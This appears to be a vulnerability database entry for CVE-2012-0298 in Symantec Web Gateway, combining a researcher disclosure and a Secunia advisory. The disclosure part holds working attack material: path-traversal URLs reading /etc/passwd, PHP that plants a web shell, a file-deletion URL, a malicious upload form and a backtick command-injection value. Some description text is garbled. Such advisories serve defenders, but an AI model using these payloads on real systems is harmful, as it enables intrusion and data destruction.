ID

VAR-201205-0221

CVE

CVE-2012-0298

TITLE

Symantec Web Gateway Vulnerability to read arbitrary files in the file management script on the management screen

DESCRIPTION

The file-management scripts in the management GUI in Symantec Web Gateway 5.0.x before 5.0.3 allow remote attackers to (1) read or (2) delete arbitrary files via unspecified vectors. (1) Read or (2) A vulnerability exists that will be removed.Arbitrary file by a third party (1) Read or (2) It may be deleted. A vulnerability exists in Symantec Web Gateway. A successful exploit could render the system unusable. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. Software: Symantec Web Gateway Current Software Version: 5.0.2.8 Product homepage: www.symantec.com Author: S2 Crew [Hungary] CVE: CVE-2012-0297, CVE-2012-0298, ??? File include: https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd File include and OS command execution: http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd You can execute OS commands just include the error_log: /usr/local/apache2/logs/ -rw-r--r-- 1 root root 5925 Nov 15 07:25 access_log -rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log Make a connection to port 80: <?php $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w'); $cmd = "<?php system(\$_GET['cmd']); ?>"; fputs($f,$cmd); fclose($f); print "Shell creation done<br>"; ?> Arbitary file download and delete: https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog d parameter: the complete filename After the download process application removes the original file with root access! :) Command execution methods: 1.Method Download and delete the /var/www/html/ciu/.htaccess file. After it you can access the ciu interface on web. There is an upload script: /ciu/uploadFile.php User can control the filename and the upload location: $_FILES['uploadFile']; $_POST['uploadLocation']; 2.Method <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data"> <input type="file" name="uploadFile"> <input type="text" name="action" value="upload"> <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/"> <input type="hidden" name="configuration" value="test"> <input type="submit" value="upload!"> </form> The "/var/www/html/spywall/cleaner" is writeable by www-data. Command execution after authentication: http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove) From the modified POST message: Content-Disposition: form-data; name="pingaddress" 127.0.0.1`whoami>/tmp/1234.txt` . ---------------------------------------------------------------------- Become a PSI 3.0 beta tester! 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Download it here! http://secunia.com/psi_30_beta_launch ---------------------------------------------------------------------- TITLE: Symantec Web Gateway Multiple Vulnerabilities SECUNIA ADVISORY ID: SA49216 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/49216/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=49216 RELEASE DATE: 2012-05-18 DISCUSS ADVISORY: http://secunia.com/advisories/49216/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/49216/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=49216 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Multiple vulnerabilities have been reported in Symantec Web Gateway, which can be exploited by malicious people to disclose potentially sensitive information, conduct cross-site scripting attacks, manipulate certain data, and compromise a vulnerable system. 1) An unspecified error can be exploited to inject arbitrary commands. No further information is currently available. 2) Certain unspecified input is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. This can be exploited to remove or disclose the contents of arbitrary files. 4) Certain unspecified input is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. The vulnerabilities are reported in versions prior to 5.0.3. SOLUTION: Update to version 5.0.3. PROVIDED AND/OR DISCOVERED BY: 1-3) The vendor credits Tenable Network Security via ZDI and an anonymous person via SecuriTeam Secure Disclosure. 4) The vendor credits Ajay Pal Singh Atwal and an anonymous person. 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THREAT TYPE

remote

TYPE

permissions and access control

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CREDITS

An anonymous researcher

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LAST UPDATE DATE

2025-04-11T22:53:43.694000+00:00

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